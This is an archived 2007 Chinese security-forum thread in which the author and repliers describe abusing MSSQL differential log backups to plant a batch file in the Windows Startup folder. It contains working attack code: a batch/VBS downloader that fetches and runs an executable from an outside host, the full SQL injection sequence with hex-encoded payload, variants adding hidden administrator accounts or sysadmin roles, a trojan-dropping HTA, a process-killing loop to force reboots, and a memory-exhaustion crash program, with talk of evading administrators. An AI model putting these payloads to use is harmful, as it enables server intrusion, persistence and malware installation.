邪恶八进制信息安全团队技术讨论组's Archiver

kj021320 2007-8-26 22:04

[原创]MSSQL差异备份取系统权限(带演示动画)

文章作者:kj021320
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
注意:本文章首发[url=http://blog.csdn.net/I_S_T_O/archive/2007/08/26/1759839.aspx]I.S.T.O技术团队[/url]后由原创作者kj021320友情提交到邪恶八进制信息安全团队论坛。

MSSQL差异备份取系统权限
TEAM里的内部资料放久了,现在不放出来,迟早会有人发掘出来的!既然如此就拿出来大家分享吧!
MSSQL差异备份获取webshell 几乎人人皆知,那么我们可以利用差异备份出来的文件 当作恶意代码
让系统执行了之后自动提升权限 或者添加管理员吗? 答案当然可以了,kj021320测试了N次之后跟你说!

那么我们得考虑文件摆放的位置~什么地方系统会运行呢?这个其实算是废话吧!
大家不用想都知道 通用地方 C:\Documents and Settings\All Users\「开始」菜单\程序\启动
呵呵位置有了! 那么我们备份什么文件让系统能执行的呢?
这个是第一个关键点~!
EXE JS VBS BAT这些文件大家第一时间想到的了
那些我一个一个来分析 exe的话!绝对能了! 但是 MSSQL差异备份这么多垃圾肯定会把exe弄坏的!
否决掉
然后到脚本
VBS 我们能不能把 他的垃圾信息注释掉呢? 不然VBS 会执行不了! OK 学过VBS的朋友都知道
VBS里面 有2种注释 ' 还有就是 rem
但是还是会有垃圾信息屏蔽不了
否决掉

JS呢? JS里面有多行注释的/**/ 但是 /* 不可能在首行吧?
否决掉

最后 剩下我们最熟悉的bat批处理了!
OK我们继续分析 bat里面注释是什么呢?也是REM,失败啊!之前vbs那里不行 这里的rem注释也一样不行的!
那么我们怎么办呢?其实很简单! 当我们在CMD下面敲错了命令系统会怎样呢?

说到这里 要是大家不往文章下面看也一样能想到方法了吧~

OK我们继续探~~这里是最最关键点,差异备份出来的垃圾信息我们可以通过用回车把他提交了!
而系统只当作无用的命令来处理!不影响我们的操作!
问题就这样解决了吗?不是的!~MSSQL备份的时候,到一定的字符长度就会出现垃圾的字符,那个字符会影响我们的操作!
那么我们得把语句尽量缩少,越少越好~
OK那我们思路好了就采用bat 写一个VBS的下载者 然后执行这个下载者 最后通过下载者down回来的马子来获取系统权限
下面是我改过的生成下载者的BAT

echo Set P=createObject("Microsoft.XMLHTTP")>k.vbs
echo P.Open "GET","http://www.isto.cn/t.exe",0 >>k.vbs
echo P.Send():set G=createObject("ADODB.Stream")>>k.vbs
echo G.Mode=3:G.Type=1:G.Open() >>k.vbs
echo G.Write P.ResponseBody:G.SaveToFile "t.exe",2 >>k.vbs
k.vbs
t

下一个k.VBS然后k.vbs下载一个t.exe文件保存到本地 直接执行
记得记得我说过的代码前面一定要用回车把垃圾数据提交 最好2以上个回车
然后实现差异备份

alter database ISTO set RECOVERY FULL--
create table cmd (a image)--
backup log ISTO to disk = 'c:\cmd1' with init--
insert into cmd (a) values (0x130A0D0A6563686F2053657420503D6372656174654F626A65637428224D6963726F736F66742E584D4C4854545022293E6B2E7662730D0A6563686F20502E4F70656E2022474554222C22687474703A2F2F7777772E6973746F2E636E2F742E657865222C30203E3E6B2E7662730D0A6563686F20502E53656E6428293A73657420473D6372656174654F626A656374282241444F44422E53747265616D22293E3E6B2E7662730D0A6563686F20472E4D6F64653D333A472E547970653D313A472E4F70656E2829203E3E6B2E76627320200D0A6563686F20472E577269746520502E526573706F6E7365426F64793A472E53617665546F46696C652022742E657865222C32203E3E6B2E7662730D0A6B2E7662730D0A740D0A)--
backup log ISTO to disk = 'C:\Documents and Settings\All Users\「开始」菜单\程序\启动\1.bat'--
drop table cmd--

OK bat出来了! 至于怎样让服务器重启呢!这个问题遗留给你们去讨论吧!
要是服务器直接开启了3389 那就更方便了! 直接bat 一个添加管理员的命令更爽!


全文完!



突然发现好象邪8上传不了!-_-
动画地址这里 有时间我会重新编辑上传的!
[url]http://www.isto.cn/vedio/mssqlbackup-system.rar[/url]

remax 2007-8-26 22:22

扼,想法不错。
不过现在很多mssql都不是继承system权限了,你也就无权备份到这个目录了。

superhei 2007-8-26 22:35

呵呵 这个只是个小技巧而已拉 看过swan blog的人 应该知道,他提出备用得到shell就提到这个方法的 :)
好象hta文件也是可以的

lhn 2007-8-26 23:35

lcx在哪期的<<黑客手册>>的某篇文章编辑点评里也提到了为什么备份asp里边有乱码还能执行,是因为html解析松散的原因,也顺便提到了hta备份shell到启动目录里。有时候看黑手的那些文章,还不如看lcx的对许多文章的点评。

b0r3d 2007-8-26 23:44

方法是可以,只是用来对付那些粗心的管理员还是有用的. [s:266]

dingking 2007-8-27 09:20

其实很多webshell上就可以直接执行VBS把东西丢到 「开始」菜单\程序\启动 这里的了。 [s:266]

LZ说的这个思路其实早就在使用中的了。

茄子宝 2007-8-27 11:56

[s:267] 好久以前测过 用&截断BAT垃圾字符~

回车
&net user xxxx xxxx /add&

不过hta成功率更高.

pt007 2007-8-27 14:35

guest权限让系统死机的小程序.cpp
[code]#define NO_DEBUG
#define WIN32_LEAN_AND_MEAN
#include <stdio.h>
#include <windows.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
while (1)
{
malloc(0x1000);
printf("[+] malloc();\r");
}
return 0;
}[/code]

kj021320 2007-8-27 14:40

谢谢 PT007支持 呵呵! 前段时间看了国外N多ORA的文章
终于找到 WEB INJECTION 多语句的方式!迟点发表出来

pt007 2007-8-27 16:51

[quote]引用第10楼kj021320于2007-08-27 14:40发表的 :
谢谢 PT007支持 呵呵! 前段时间看了国外N多ORA的文章
终于找到 WEB INJECTION 多语句的方式!迟点发表出来[/quote]
很期待啊,感谢kj021320公布了这么棒的的入侵方法,我有个小问题,就是启动的时候弹出的那个DOS窗口太夸张了,而且要命的是得等到所有命令执行完了才会消失,这就等于告诉网管有人入侵了!有什么方法可以加快窗口的运行速度,最好能达到一闪而过的效果:
下面是将当前的test用户提升为DBO的语句,我觉得这个很实用:)
echo exec master.dbo.sp_addsrvrolemember test,sysadmin >c:\test.qry
isql -E /U alma /P /i c:\test.qry

pt007 2007-8-27 22:57

//用下面这个脚本不会显示执行的语句,而且执行完毕自动删除自已,这个应该差不多能骗过网管了:
大家帮忙测试一下这个脚本的窗口启动速度,我这边测试的结果最快的也得1秒才能完成,慢的5秒钟以上,和启动时运行的服务有很大的关系:
@echo off
echo set wshshell=createobject("wscript.shell")>k.vbs
echo exec master.dbo.sp_addsrvrolemember test,sysadmin>c:\test.qry
echo b=wshshell.run("cmd.exe /c isql -E /U alma /P /i c:\test.qry",0)>>k.vbs
k.vbs
del %0

alter database pubs set RECOVERY FULL--
create table pubs..cmd(a image)--
backup log pubs to disk=&#39;c:\cmd1&#39; with init--
insert into cmd(a) values (0x130A0D0A406563686F206F66660D0A6563686F20736574207773687368656C6C3D6372656174656F626A6563742822777363726970742E7368656C6C22293E6B2E7662730D0A6563686F2065786563206D61737465722E64626F2E73705F616464737276726F6C656D656D62657220746573742C73797361646D696E3E633A5C746573742E7172790D0A6563686F20623D7773687368656C6C2E72756E2822636D642E657865202F63206973716C202D45202F5520616C6D61202F50202F6920633A5C746573742E717279222C30293E3E6B2E7662730D0A6B2E7662730D0A64656C2025300D0A)--
backup log pubs to disk=&#39;C:\Documents and Settings\All Users\「开始」菜单\程序\启动\1.bat&#39;--
drop table cmd--

remax 2007-8-27 22:59

[s:266] 9楼的东西在幻影讨论组看到过呀..
windows难成大气..再说楼主的提权方法现在基本用不到。
不过思路还是好的。
如果是mysql,,out_file过来最好了

zhenxiao 2007-8-30 16:02

hta 怎么处理垃圾字符呢??

fatcat 2007-9-16 22:16

讲讲我的利用方式吧

先用小路的 exe2vbs把你的木马转为vbs,写入数据库表a(a)中,
insert into a select * from OPENROWSET(&#39;SQLOLEDB&#39;,  &#39;127.0.0.1&#39;;  &#39;ttl256&#39;;  &#39;123456&#39;,&#39;select a from a&#39;)
再把
WScript.sleep(1000):Set WshShell = WScript.CreateObject("WScript.Shell") :wshshell.run "cmd /c del C:\Docume~1\AllUse~1\「开始」菜单\程序\启动\ttl256.hta",0:wshshell.run "cmd /c del C:\Docume~1\AllUse~1\「开始」菜单\程序\启动\ttl256.vbs",0
写入数据库a(b)中

最后把这个
<SCRIPT LANGUAGE="VBScript">on error resume next:Set conn = CreateObject("ADODB.Connection"):connstr="Provider=SQLOLEDB.1;Integrated Security=SSPI;Persist Security Info=False;Initial Catalog=pubs;Data Source=(local)":conn.Open connstr:set rs=createobject("adodb.recordset"):exe=conn.execute("select * from a"):vbs=exe("a"):set fso=createobject("scripting.filesystemobject") :set fr=fso.createtextfile("c:\windows\ttl256.vbs"): fr.write(vbs):vbs1=exe("b"):set fr1=fso.createtextfile("C:\Docume~1\AllUse~1\「开始」菜单\程序\启动\ttl256.vbs"):fr1.write(vbs1):Set WshShell = CreateObject("WScript.Shell"):WshShell.Run "cscript c:\windows\100.vbs c:\windows\ttl256.exe",0:WshShell.Run "C:\windows\ttl256.exe":WshShell.Run "C:\Docume~1\AllUse~1\「开始」菜单\程序\启动\ttl256.vbs",0:WshShell.SendKeys "%{F4}"</SCRIPT>
备份下,这个利用方式就比较完美了,hta运行后自动退出,一闪而过,然后ttl256.vbs删除掉备份的东西,木马自动上线。wsh如果删除,可以先利用xp_cmdshell恢复。如果有防火墙,还可以完全利用数据库方面达到更隐蔽的效果。

最早06年的时候好像就看到有篇文章提到了备份到这个目录,不过我vbs,bat一直不成功,后来用hta成功率才比较高的

poc 2007-10-29 18:54

不成功
垃圾字符?
回车四个也
bat出来,闪下过去就再无反映

rempp 2007-11-9 14:05

和楼上遇到同样的问题 在自己虚拟机上测试可以 但是在拿网站的过程中没有成功过一次 不知道是什么原因

黄少 2007-11-9 14:24

[quote]引用第5楼dingking于2007-08-27 09:20发表的 :
其实很多webshell上就可以直接执行VBS把东西丢到 「开始」菜单程序启动 这里的了。 [s:266]

LZ说的这个思路其实早就在使用中的了。[/quote]

期待详解,备份到启动的批处理我成功过一次,备份好后从shell里下载回bat本地打开一次,能用的话就离成功不远了。逼迫管管重启,我的办法是2000下kill掉dllhost.exe
用nc反弹cmdshell 用mt杀进程和批处理
:st
C:\Inetpub\mt.exe -pskill dllhost.exe
goto st
2003下就杀w3wp.exe(好像是这么写,不好意思忘记了)
关于hta能不能详细点啊。

lafkkk 2008-2-3 14:50

hta文件

<SCRIPT LANGUAGE="VBScript">
Set WS = CreateObject("WScript.Shell")
WS.run "cmd /c net user x140le 342101591 /add",0
WS.run "cmd /c net localgroup administrators x140le /add",0
</Script>
<script language=javascript>window.close();</script>

70113891 2008-2-4 15:41

我转的16进制和LZ的不一样???难道我转错了.

hray 2008-2-5 10:41

首先要有很大的权限,其次重启是弹出一个黑黑的CMD窗口,管理员不会不注意吧

页: [1]
© 1999-2008 EvilOctal Security Team